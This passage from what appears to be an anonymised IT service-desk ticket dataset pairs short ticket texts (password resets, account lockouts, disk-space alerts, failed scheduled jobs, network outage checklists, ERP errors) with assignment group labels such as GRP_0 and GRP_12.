by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:43 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58365 dst outside:192.168.0.103/445 by access-group ""acl_inside"" [0x0, 0x0]",GRP_2 +"unlock account email in cell phone the users cfgxpvzi dvpnfbrc, recsynqt byoezmla and alexandre pinto hello team, + +could you please unlock account email in cell phone the users cfgxpvzi dvpnfbrc, recsynqt byoezmla and alexandfrre pintfgtyo + +recsynqt.byoezmla@gmail.com id:vertiayhtu +cfgxpvzi.dvpnfbrc@gmail.com id:russoddfac +nmcxfrij.hgaxtqmy@gmail.com id:pintoddsa + +",GRP_0 +unable to submit timecard today unable to submit timecard today,GRP_0 +"delete blancog (olifgtmpio gargtcia blagtnco) olifgtmpio gargtcia blagtnco does not working for company anymore since october 2013. i do not know why there is still active ad account for him. +please delete that account as soon as possible as well any other system accounts for blancog (olifgtmpio gargtcia blagtnco). +",GRP_2 +"HostName_1015: average (4 samples) disk free on m:\ is now 15%, which is below the warning threshold (15%) HostName_1015: average (4 samples) disk free on m:\ is now 15%, which is below the warning threshold (15%) out of total size 139.4 gb since 02:29pm et on 08/12._x000D_ +HostName_1015:average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%) out of total size 100.5 gb",GRP_12 +HostName_236: internal error: unable to find any processes. since 07:49am et on 08/12 HostName_236: internal error: unable to find any processes.,GRP_60 +"HostName_1132: robot is inactive,swap memory usage, unable to find any processes, probe processes failed to start are down. HostName_1132: robot HostName_1132 is inactive.._x000D_ +HostName_1132:average (5 samples) swap memory usage is now 99.98%, which is above the error threshold (95%)_x000D_ +HostName_1132: average (5 samples) memory usage is now 97%, which is above the error threshold (95%)_x000D_ +HostName_1132: internal error: unable to find any processes._x000D_ +HostName_1132: probe 'processes' failed to start (command = processes.exe) error = (1450) insufficient system resources exist to complete the requested service. ",GRP_12 +unable to connect to wireless unable to connect to wireless,GRP_0 +account unlock ybplwrez.lqcyehbf@gmail.com account unlock ybplwrez.lqcyehbf@gmail.com,GRP_0 +"abended job in job_scheduler: Job_1918b received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1918b at 08/12/16 13:12:25",GRP_6 +ticket update on ticket_no0430054 ticket update on ticket_no0430054,GRP_0 +unable to log into my reporting_engineering_tools unable to log into my reporting_engineering_tools,GRP_0 +"ticket update for danghtnuell from: rakthyesh ramdntythanjesh +sent: friday, august 12, 2016 10:16 pm +to: bxtqducs zuhoylts +cc: pvbomqht smfkuhwi +subject: inc1538753-telephony_software is missing from pc + +dear cegtcil, + +danghtnuell contacted service desk for assistance on telephony_software issue, kindly assist user on same. + + +kind ",GRP_0 +unable to view desktop items or folders unable to view desktop items or folders,GRP_0 +"when customer service enters an order for acct #81523266 they get the error sales office not valid for flat rate this is a company account with sales office = fmw1. on 6/18/16, the shipping conditions was updated to 10 (ground) and the default carrier to tupsgrnd_x000D_ +_x000D_ +bob lewicki requested that i entered a ticket. his comments : ""i believe that some logic for restricting sales offices was added so that infrastructure would not try to use flat rate, but usa should definitely not be on there. i have copied prishry and rabhtui for input. in the meantime can you please enter a ticket to get it corrected, i believe that it should be able to be adjusted in a table""",GRP_13 +"orders from plant_74 & cpp/tm warehouse will not release. need fixed urgently +need urgent help! see attached document. example order 35804825 says shipping/receiving pt missing. erp is not recognizing these plants, getting error when trying to add plant_74 as ship/rec plant. i have checked plant_76 & plant_78 also, same problem. ",GRP_18 +changed laptop and need my phone activated through this pc please help me log into my phone system using my changed laptop. ,GRP_7 +enable access to erp code cv04n to view the drawing. enable access to erp code cv04n to view the drawing.,GRP_0 +"crm issue + +received from: kpnzvsuw.lwmqyjbv@gmail.com + +hello + + i do not have access to the ""forcast to plan"" dashbankrd in crm. see attached screenshot. + + + +markhty dale +sales engineer, illinois (nc3) +kpnzvsuw.lwmqyjbv@gmail.com +",GRP_22 +access request to engineering_tools access request to engineering_tools,GRP_25 +"requesting access to s:mgmt drive _x000D_ +_x000D_ +received from: odfimpjg.ptfoiake@gmail.com_x000D_ +_x000D_ +good morning:_x000D_ +requesting access to the above file._x000D_ +_x000D_ +",GRP_12 +unable to access emails from company ipad unable to access emails from company ipad,GRP_0 +user unable to log in to outlook user unable to log in to outlook,GRP_0 +unable to login to collaboration_platform unable to login to collaboration_platform,GRP_0 +"skype audio issues + +received from: qwijaspo.ukynmfig@gmail.com + +dear it, + +i continue to have skype audio issues. i am unable to hear skype calls through my tablet. when i call in, specifically when i dial into my directors call in number, i hear every third word. i have had this issue before and had an it tech fix the issue, i will need this done again. why does this continue to be an issue? + + +qwijaspo ukynmfig +sales manager - west coast +qwijaspo.ukynmfig@gmail.com +",GRP_0 +"HostName_770:average (4 samples) disk free on g:\ is now 8% HostName_770:average (4 samples) disk free on g:\ is now 8%, which is below the warning threshold (15%) out of total size 200.0 gb",GRP_12 +engineering tool doesn't work engineering tool doesn't work,GRP_62 +"network outage:russia - warehouse:site is down since at 9:24 am et on 08/12.no backup what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____9:24 am et on 08/12__________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __na____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __na______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"the pc projector in einstein conf room is not working, it is on but getting no video on the screen. the pc projector in einstein conf room is not working, it is on but getting no video on the screen.",GRP_3 +"unable to create delivery for material mm 7150506 against so 35689265 l20. material completed 11-aug. please assign to erp supply_chain team. apo and ecc systems require synchronization so that a delivery can be created. material is needed to ship today, 12-august.",GRP_6 +"company mails on mobile phone _x000D_ +_x000D_ +received from: ctuodmai.vguwqjtd@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +pl let me know the process to install and start the access of official mail in my smart phone._x000D_ +phone details as below._x000D_ +_x000D_ +make: oppo_x000D_ +build number: x9009ex_11_a.19_160711_x000D_ +imei 1 : 869770024432450_x000D_ +imei 2 : 869770024432443_x000D_ +_x000D_ +duel sim mobile._x000D_ +_x000D_ +pl let me know any other details needed._x000D_ +_x000D_ +_x000D_ +ಕೃತಜ್ಞತೆಗಳು / ",GRP_0 +impact awards//password reset impact awards//password reset,GRP_0 +"network outage:usa refinery - (company):site is hard down since at 9:58 am et on 08/12.no backup circuit. what type of outage: _x____network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____9:58 am et on 08/12__________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __na____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +replace internal speakers on e7350 due to crackling issue replace internal speakers on e7350 due to crackling issue,GRP_3 +"material posting on production order does not balance requirement quantity on order, does not post on qty withdraw in switzerland, cc 5443: we post material consumption on po 226733620, mat.post. number 5042203075. the material has been discounted in stock and batch, but not posten on the production order (does not show up in the bill of materials) +there are several orders suffering this problem. we need it solved aerp. +contact: brjkmwvo odxwcpie ",GRP_45 +"discounts _x000D_ +_x000D_ +received from: peojqgvm.qayeptuo@gmail.com_x000D_ +_x000D_ +i am having problems submitting a discount_x000D_ +_x000D_ +here is the screen shots im getting_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01d1f475.30085b20]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image002.jpg@01d1f475.30085b20]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"dell 2in1 7350 device has not been booting despite multiple attempts for a reset or reboot dell 2in1 7350 device has not been booting despite multiple attempts for a reset or reboot_x000D_ +_x000D_ +",GRP_3 +unable to view credit card statement on ess unable to view credit card statement on ess,GRP_0 +erp newweaver business client locked out. erp newweaver business client locked out.,GRP_0 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +"the computer for mii at us_plant facility has got thrown out of company domain the computer for mii has got thrown out of company domain_x000D_ +_x000D_ +please contact ms. dpuifqeo eglwsfkn for further info",GRP_3 +"network response time at about 8:20 am eastern daylight time, i was on a conference call with usa. the call started dropping out and the only reason i can come up with is a network bottleneck. want to prove or disprove by finding out about the network traffic levels between usa and usa and between usa and the internet during the time the call was made.",GRP_4 +erp SID_34 locked out. erp SID_34 locked out.,GRP_0 +ticket update for an account lockout ticket update for an account lockout,GRP_0 +unable to load outlook unable to load outlook,GRP_0 +"urgent !! need access to all the accounts in iowa, minnesotta, south dakota within crm need access to all the accounts in iowa, minnesotta, south dakota within crm",GRP_22 +account locked account locked,GRP_0 +"issue executncqulao qauighdpss programdntys in erp when working on vpn_ _urgent _x000D_ +_x000D_ +received from: rcbdyslq.zuspjbtw@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i have issue when i'm working on vpn form home._x000D_ +i 'm not able to run mass programdntys in erp when i'm on vpn. last weekend i had to run mass programdnty to add partners in erp but i was not able. i thought it was security issue but i checked that with security erp team._x000D_ +i made uacyltoe hxgaycze when i was in the office and it is working but i can't do the same at home working on vpn._x000D_ +_x000D_ +_x000D_ +please check with high priority!_x000D_ +",GRP_0 +"discounts error _x000D_ +_x000D_ +received from: itslpwra.vybdkuoa@gmail.com_x000D_ +_x000D_ +[cid:image001.png@01d1f46f.7c80d460]_x000D_ +_x000D_ +best ",GRP_0 +reset the password for yimwfntl rkdwohas on erp / production / erp while trying to log the erp part of erp fro the first time. it would not accept my password and locked me out of the system.,GRP_0 +update cutview to lauacyltoe hxgaycze version update cutview to lauacyltoe hxgaycze version and adjust to current ms office installation,GRP_66 +"wi-fi at msg sales not working _x000D_ +_x000D_ +received from: tbloeczi.gxlmeyph@gmail.com_x000D_ +_x000D_ +it-help desk,_x000D_ +_x000D_ +we are unable to connect to wi-fi at msg sales since last two/three weeks._x000D_ +_x000D_ +please note, when this was in lotus discussion room, it was working fine and we could connect the same. however now after it has been shifted to msg sales about month back, we are unable to connect._x000D_ +please check and restore at the earliest._x000D_ +_x000D_ +with best ",GRP_19 +"when i launch collaboration_platform, my internet browser (ie) will not launch. others around me are experiencing the same thing. when i launch collaboration_platform, my internet browser (ie) will not launch. others around me are experiencing the same thing.",GRP_3 +update installation for cutview update cutview to lauacyltoe hxgaycze version and adjust to current ms office installation,GRP_66 +"unlock account email in cell phone the user luciano amadeu and zpfitlyu cemvwyso hello team,_x000D_ +_x000D_ +could you please unlock account email in cell phone the user luciano amadeu and zpfitlyu cemvwyso_x000D_ +_x000D_ +iaxyjkrz.pctnvdrm@gmail.com id: eulalla_x000D_ +_x000D_ +zpfitlyu.cemvwyso@gmail.com id: silvaes_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"csscdrill model on configair server not working in SID_34 production csscdrill model on configair server not working in SID_34 production:_x000D_ +when starting the csscdrill model from a standard reference product the server responses ""500 internal server error"" - error: while trying to invoke the method java.util.list.iterator() of a null object loaded from local variable 'locallist'._x000D_ +when starting the csscdrill model from scratch (w/o selecting a standard reference product) configair comes up, but it does not allow me to complete a good configuration._x000D_ +the same csscdrill model is working fine in SID_1 uacyltoe hxgaycze environment._x000D_ +_x000D_ +the mill_model model is working fine in SID_1 and SID_34.",GRP_14 +"lhqsm519:average (4 samples) disk free on h:\ is now 12% average (4 samples) disk free on h:\ is now 12%, which is below the warning threshold (15%) out of total size 200.0 gb",GRP_12 +"news can not be opened _x000D_ +_x000D_ +received from: uwofavej.hxyatnjc@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +since some days, when the regional news moved to first page of hub, again & again, „news"" appear with out „more"" to open it or a link in the heading_x000D_ +_x000D_ +this screen print is just before i wrote this email_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1f491.67af6c00]_x000D_ +_x000D_ +best ",GRP_0 +"replace button is missing on dialog box in shopping basket replace button is missing on dialog box in shopping basket when you click on status indicator and msg displays there is a replacement, 'replace' button is missing. needs to be same as on other grid pages",GRP_21 +outlook is not functioning. outlook is not functioning.,GRP_0 +"enhancement of storage capacity _x000D_ +_x000D_ +received from: ihmbfeoy.exbgcfsk@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +_x000D_ +we do not have sufficient space of following drives in server. request you to enhance the storage capacity of these drives._x000D_ +_x000D_ +_x000D_ +01) mtbu_ele(\\HostName_95)_x000D_ +_x000D_ +02) eplan vault(\\HostName_97)_x000D_ +_x000D_ +_x000D_ +",GRP_12 +mouse issue mouse is not working ,GRP_19 +"12th aug ,friday on-call - basis + +received from: mnxbeuso.rfmdlwuo@gmail.com + +dac / gso team – + +please note the on-call primary/secondary details only for today 12th aug 2016, friday between 23:30 ist to 13th aug 2016, saturday 07:00 ist. + +primary – krisyuhnyrt juvfghtla +secondary – thomklmas kahtuithra + +",GRP_0 +"mandatory condition mwst is missing for order 35805176 customer master 70928858 could you please check what is wrong with customer master 81039969? we can't create delivery because there are incomplete log -pricing error: mandatory condition mwst is missing_x000D_ +we check with pricing department and mwst is defined for this customer corretly,_x000D_ +_x000D_ +there should be tax like for turkey tr ""tax free trade zone"" because customer is from azerbaijan, maybe has to be added some condition for this country also,_x000D_ +_x000D_ +we have to ship the tools today because it is new order form new distributor with big potential, so priority -2 _x000D_ +_x000D_ +",GRP_13 +"abended job in job_scheduler: Job_499 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_499 at 08/12/16 04:40:25",GRP_8 +setup new ws\svuxjkpg tpurnjvi setup new ws\svuxjkpg tpurnjvi,GRP_24 +setup new ws \xovczlad fkicawph setup new ws \xovczlad fkicawph,GRP_24 +"ak - crm in outlook not working + +received from: wdpzfqgi.zndgqcux@gmail.com + +hello, + +can you please help me to solve the following issue? + + +1. whenever i want to start outlook, then i get this microsoft dynamics crm message. + +2. in order to proceed further i have to click ´´storno´´= cancel severeal times (2x or 3x) + +3. then the outlook is opened, but there is no connection with crm, which i need. + +[cid:image002.jpg@01d1f482.68356731] + +s pofgtzdravem / kind ",GRP_0 +setup new ws \bzekndcu ivhnpdbu setup new ws \bzekndcu ivhnpdbu,GRP_24 +setup laptop für sandstrahlgerät und roboworker\qidgvtwa qvbutayx setuplaptop für sandstrahlgerät und roboworker\qidgvtwa qvbutayx,GRP_24 +"mobiltelefon lautsprecher / mikrofon defekt / gestört durchwahl -477_x000D_ +mobilteil gigaset sl2_x000D_ +lautsprecher / mikrofon kratzen bzw. setzten zeitweise aus",GRP_33 +"can you please help _x000D_ +_x000D_ +received from: smktofel.etsoirbw@gmail.com_x000D_ +_x000D_ +hi，_x000D_ +_x000D_ +i want to know how to run the report from finance_app regarding the report of allocation key for cost centers being allocated to different bu, can you please help?_x000D_ +_x000D_ +",GRP_55 +"unable to upload engineering_tool _x000D_ +_x000D_ +received from: ftsqkvre.bqzrupic@gmail.com_x000D_ +_x000D_ +dear sir_x000D_ +_x000D_ +i am unable to upload engineering_tools, the error is showing not connected to the server but application shows connected status. please see the screen shot for your ref._x000D_ +_x000D_ +[cid:image001.png@01d1f49b.61c1bcd0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_25 +password does not work it says 'account is disabled' password does not work it says 'account is disabled',GRP_2 +"abended job in job_scheduler: Job_2049 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2049 at 08/12/16 02:57:25",GRP_6 +"vendor payment through bank + +received from: gnasmtvx.cwxtsvkm@gmail.com + +hi pradtheyp/nathyresh + +with effect from tuesday(ie 16.08.2016), we propose make all vendor payments through bank. in order to facilitate this process you are requested to make the following changes in the vendor master for all domestic vendors. ( list is enclosed) + + +1) house bank id to be changed from itelephony_softwarei bank to bank of amerirtca + +2) method of payments should be a,w & c + +3) e mail address to be updated in correspondence internet id + +once the changes are made, please confirm so that we can initiate the first payment to vendors through bank. + + +",GRP_10 +"abended job in job_scheduler: Job_1960 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1960 at 08/12/16 02:01:24",GRP_6 +"problem in calling through skype + +received from: ftgvlneh.aitsgqwo@gmail.com + +dear sir, + +i am facing problems while individual calling as well as attending meetings on skype. + +whenever i am trying to connect, it is coming ""not responding"" and skype-app is getting closed & signed out. + +request to pl. resolve the same. + + +for company + +ftgvlneh aitsgqwo +asst. mngr. sales – north ( msg) +ftgvlneh.aitsgqwo@gmail.com +",GRP_0 +"erp routing logic missing for the infrastrcture npr forms. pls add the below data in the zsd100 and determine the logic through region._x000D_ +_x000D_ +apac = 51113201 csd_ap_xz custom solution earth cutting_x000D_ +germany = 51111840 csd_na_bdc bdc usa custom solutions_x000D_ +australia = 51112576 csd_aus_drum drum jobs australia_x000D_ +poland = 51111844 eng_emea_pz poland quotes/orders eng programdnty eng_x000D_ +amerirtcas = 51111840 csd_na_bdc bdc usa custom solutions_x000D_ +south africa = 51113351 csd_emea_sa south africa purchasing_x000D_ +_x000D_ +",GRP_21 +"incorrect tax code in mm hello,_x000D_ +_x000D_ +we understand from order booking team that while booking order since yesterday , they have come across many mm's with '0' tax rate ._x000D_ +_x000D_ +material country jivp jivc csr name prod. hierarchy_x000D_ +6740704 in 2 2 chandmt t0130sww0ah2_x000D_ +5146604 in 2 2 chandmt t0130pssh0ru_x000D_ +4869277 in 2 2 chandmt t0130sww0ah2_x000D_ +5146697 in 2 2 chandmt t0130pssh0ru_x000D_ +_x000D_ +list of few items which has '0' tax rate is given above _x000D_ +_x000D_ +at present they are booking order with correct tax rate in oa ._x000D_ +_x000D_ +request your assistance in resolving this on top priority as we have put on hold all invoicing . _x000D_ +_x000D_ +_x000D_ +",GRP_20 +need help in reset password in password_management_tool password manager need help in reset password in password_management_tool password manager,GRP_0 +"abended job in job_scheduler: bkbackup_tool_reporting_tool_prod_inc received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bkbackup_tool_reporting_tool_prod_inc at 08/12/16 00:14:27",GRP_8 +"abended job in job_scheduler: bkbackup_tool_HostName_771_prod_full received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bkbackup_tool_HostName_771_prod_full at 08/12/16 00:06:27",GRP_8 +account lokced in erp SID_34 account lokced in erp SID_34,GRP_0 +"recall: ticket_no1536413 -- comments added _x000D_ +_x000D_ +received from: franhtyu.liu@company.com_x000D_ +_x000D_ +franhtyu liu would like to recall the message, ""ticket_no1536413 -- comments added""._x000D_ +_x000D_ +_x000D_ +本讯息仅供指定的接收人使用，其中可能包含适用法律项下特许的、保密的和禁止披露的内容。除指定的接收人外，严禁其他任何人传播、分发æˆ��复制本讯息。如果您误收到本讯息，请通知发件人并将讯息删除。_x000D_ +[_x000D_ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +"abended job in job_scheduler: SID_38hotf received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_38hotf at 08/11/16 23:06:26",GRP_8 +"issue with bex,business_client _x000D_ +_x000D_ +received from: ypuaejsc.yoxrqtsn@gmail.com_x000D_ +_x000D_ +dear sir/madam,_x000D_ +_x000D_ +i am not able to access bex as well as business_client._x000D_ +_x000D_ +pl rectify immediately. its urgent._x000D_ +_x000D_ +",GRP_0 +account locked in ad account locked in ad,GRP_0 +required 20 gb additional memory in e drive for server HostName_1042 _ please check attachment required 20 gb additional memory in e drive for server HostName_1042 _ please check attachment,GRP_12 +not able to login to skype not able to login to skype,GRP_0 +"m drive access + +received from: uisewznr.ewtmkphs@gmail.com + +hi team, + +i have lost access to the m drive on my computer. please see the screenshots below. this same issue is occurring for walfgtkek and tagsyrhu. can you please arrange for this access to be reinstated? ",GRP_12 +"circuit outage : usa secondary circuit is down since 06:28pm et on 08/11 what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _____06:28pm et on 08/11_________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _yes_______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? __email_______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"abended job in job_scheduler: Job_1623 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1623 at 08/11/16 18:26:27",GRP_6 +"abended job in job_scheduler: Job_1488 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1488 at 08/11/16 18:22:27",GRP_6 +"abended job in job_scheduler: Job_1491 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1491 at 08/11/16 18:22:27",GRP_6 +"abended job in job_scheduler: Job_1493 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1493 at 08/11/16 18:22:27",GRP_6 +"abended job in job_scheduler: Job_2114 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2114 at 08/11/16 17:32:26",GRP_9 +unable to access emails unable to access emails ,GRP_0 +"abended job in job_scheduler: hr_tooldcvcgenratn received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: hr_tooldcvcgenratn at 08/11/16 17:02:26",GRP_6 +"abended job in job_scheduler: Job_2318 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2318 at 08/11/16 17:01:26",GRP_8 +"unable to create delivery please provide the following:_x000D_ +_x000D_ +what order number? 35853596_x000D_ +_x000D_ +what material or item number? 10_x000D_ +_x000D_ +what warehouse location? plant_123_x000D_ +_x000D_ +issue description / error message? value of modific counter for document 35853596 in supply_chain is 1, but should be 6",GRP_6 +erp is down - distributor_tool / company center customers are not able to place transactions erp is down - distributor_tool / company center customers are not able to place transactions. customer service is not able to place transactions in ecc ,GRP_0 +"md04, display stock, is locking up with create delivery, 30min to 1hr, had to close out window, still didnt process the window is locked up, can't do screenshots, just a spinning circle",GRP_0 +"erp down user id - vaugtyghtl +issue - erp down +location - usa +no of users affected - 15+ +system - erp SID_34 erp production +issue - just clocking +contact no - +server name - HostName_196 +transaction - md04. +",GRP_0 +"mobile device activation mobile device activation + + +name:mikhghytr karaffa +language: +browser:microsoft internet explorer +email:vfrdxtqw.jfbmsenz@gmail.com +customer number: +telephone: +summary:requesting email to my personal iphone.",GRP_0 +"erp produktion hängt bei ot03 aufträgen ot01 aufträge funktionieren, ot03 aufträge lassen sich nicht bearbeiten ( beim ausliefern)",GRP_0 +"abended job in job_scheduler: Job_1953d received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1953d at 08/11/16 16:08:25",GRP_6 +outage on erp SID_34 outage on erp SID_34,GRP_0 +german call german call,GRP_0 +totalteamsales sproc is not assigning direct team revenue to employees totalteamsales sproc is not assigning direct team revenue to employees,GRP_25 +"skype shows i am online but i am not i have noticed that i received by email some messages of skype for business even when i am off line. i did a uacyltoe hxgaycze, i have turned off my pc and smartphone, and from the pc of my colleagues it shows i am ""inactive or away"". then people send me message. ",GRP_26 +"need ticket zmm_stock_transfer + +received from: dqplrwoy.cutpwjie@gmail.com + +programdnty zmm_stock_transfer is not processing. it's been on an eternal circle. + +franhtyu – rebalancing not completing. + +dqplrwoy cutpwjie +supply chain planner +dqplrwoy.cutpwjie@gmail.com + + +",GRP_29 +install a printer in maintenance area install a printer in maintenance area,GRP_3 +"network problems (multiple applications are running slow) how did you determine there are network problems erp SID_34_x000D_ +_x000D_ +is only erp slow ? (please use the quick ticket within the erp folder if only erp is running slow) yes erp slow_x000D_ +_x000D_ +are more than one transactions impacted yes _x000D_ +_x000D_ +what erp server are you on (server name is located in the status bar at the bottom _x000D_ +right of your screen) HostName_200_x000D_ +_x000D_ +do other co-workers also notice slow response times in erp - yes, four users at usa _x000D_ +_x000D_ +what other applications are running slow - erp SID_34_x000D_ +_x000D_ +can you access your data files on the server _x000D_ +_x000D_ +any other comments or issues with other systems ?",GRP_0 +"application response time (other network resources work normally) please provide details in the template below (if multiple applications are impacted, please use the quick ticket template in the ""operations"" folder). +site / location : usa +user id (ad) : dinkifgtrl +system you are seeing performance problems on (please list all) (e.g., crm, erp, bw, bobj): SID_34 erp production // server name - HostName_201 +transactions that are slow (e.g., va01, create an order): quotes and orders // va01, va21 +area this belongs to (e.g., sales, finance, markhtyeting etc.): sales (as per robhyertyj) +how can this issue be replicated by the it support group: +are other users seeing this? yes, 40+ +please attach relevant screenshots and exact times when the issue occurred: attached + +user name - robhyertyj l dinfgrtyukins +contact no - ",GRP_13 +"check my security for the ethics collaboration_platform page + +received from: azxhejvq.fyemlavd@gmail.com + +hi, +please check my security for the ethics collaboration_platform page. i am trying to upload a file to the ""procedures"" category folder. i was able to upload to the noname category, but for some reason i cannot upload into procedures. i suspect a security setting. + + + + +[cid:image001.png@01d1f3e3.d3542d50] + +mikhghytr wafglhdrhjop +sr. manager, global ethics and compliance programdntys + + + +",GRP_27 +"problem + +received from: vkzwafuh.tcjnuswg@gmail.com + +hi, +when i try to submit a discount form i get the below error. please advise. + +[cid:image001.jpg@01d1f3d7.bdb9e590] + +vkzwafuh tcjnuswg - cmp +sr. application eng. +vkzwafuh.tcjnuswg@gmail.com + + +",GRP_0 +"abended job in job_scheduler: Job_1967d received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1967d at 08/11/16 14:53:25",GRP_6 +"site contact reported circuit outage in south amerirtca santiago-south amerirtca has reported that today (11/08/2016) between 12:40pm and 1:10pm (30 minutes), the dmvpn was not working. they have contacted the local isp which confirmed that the internet circuit was working fine._x000D_ +could you please investigate the logs of the router and let us know your findings?_x000D_ +i am surprised that datacenter team did not contacted us about that issue._x000D_ + ",GRP_4 +"circuit outage:apac/fengapac - (company) vpn circuit is down at 2:14 pm et on 08/11. site is up on primary circuit. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______2:14 pm et on 08/11________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"unable to login to SID_1 using erp gui hi,_x000D_ +i am unable to login to SID_1 today and i see the error shown in the screenshots._x000D_ +request your help at the earliest since i'm trying to uacyltoe hxgaycze something related to engineering_tool._x000D_ +",GRP_0 +password reset password reset,GRP_0 +"power outage: india, india site is hard down at 1:29pm et on 08/11. what type of 